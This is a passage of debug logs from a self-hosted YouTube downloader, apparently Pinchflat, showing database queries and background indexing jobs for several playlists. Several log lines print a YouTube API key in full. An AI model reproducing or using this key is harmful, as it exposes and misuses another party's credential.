s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:16:32.325 [debug] QUERY OK source="sources" db=0.1ms idle=874.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:16:32.325 [debug] QUERY OK source="settings" db=0.1ms idle=868.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.325 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.325 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:32.325 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:32.325 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.325 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:16:32.325 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.325 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:16:32.325 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:32.326 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:32.326 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:32.425 [debug] QUERY OK source="media_items" db=0.6ms idle=99.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:16:32.427 [debug] QUERY OK source="media_items" db=0.4ms idle=100.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:16:32.427 [debug] QUERY OK source="tasks" db=0.1ms idle=101.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799925, 12, ~U[2026-02-10 22:16:32Z], ~U[2026-02-10 22:16:32Z]] 16:16:32.427 [info] {"args":{"id":12},"id":3799886,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103004,"event":"job:stop","queue_time":487301,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:32.542 [debug] QUERY OK source="media_items" db=0.7ms idle=114.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:16:32.544 [debug] QUERY OK source="media_items" db=1.1ms idle=115.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:16:32.545 [debug] QUERY OK source="tasks" db=0.1ms idle=111.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799926, 11, ~U[2026-02-10 22:16:32Z], ~U[2026-02-10 22:16:32Z]] 16:16:32.545 [info] {"args":{"id":11},"id":3799887,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":220352,"event":"job:stop","queue_time":364379,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:33.326 [info] {"args":{"id":27},"id":3799888,"meta":{},"system_time":1770761793326738053,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:33.326 [info] {"args":{"id":28},"id":3799889,"meta":{},"system_time":1770761793326780064,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:33.327 [debug] QUERY OK source="sources" db=0.2ms idle=781.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:16:33.327 [debug] QUERY OK source="sources" db=0.2ms idle=781.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:16:33.327 [debug] QUERY OK source="settings" db=0.2ms idle=775.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.327 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.327 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:33.327 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:33.328 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.328 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:16:33.328 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.328 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:16:33.328 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.328 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:33.328 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:33.328 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:33.435 [debug] QUERY OK source="media_items" db=0.7ms idle=106.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:16:33.436 [debug] QUERY OK source="media_items" db=0.7ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:16:33.437 [debug] QUERY OK source="tasks" db=0.1ms idle=109.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799927, 27, ~U[2026-02-10 22:16:33Z], ~U[2026-02-10 22:16:33Z]] 16:16:33.437 [info] {"args":{"id":27},"id":3799888,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111070,"event":"job:stop","queue_time":507102,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:33.466 [debug] QUERY OK source="media_items" db=0.9ms idle=28.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", "K2oL4SFwkkw", ...] 16:16:33.467 [debug] QUERY OK source="media_items" db=0.4ms idle=29.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:16:33.468 [debug] QUERY OK source="tasks" db=0.0ms idle=24.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799928, 28, ~U[2026-02-10 22:16:33Z], ~U[2026-02-10 22:16:33Z]] 16:16:33.468 [info] {"args":{"id":28},"id":3799889,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141876,"event":"job:stop","queue_time":411250,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:35.329 [info] {"args":{"id":16},"id":3799890,"meta":{},"system_time":1770761795329744315,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:35.330 [debug] QUERY OK source="sources" db=0.1ms idle=451.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:16:35.330 [debug] QUERY OK source="settings" db=0.0ms idle=451.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 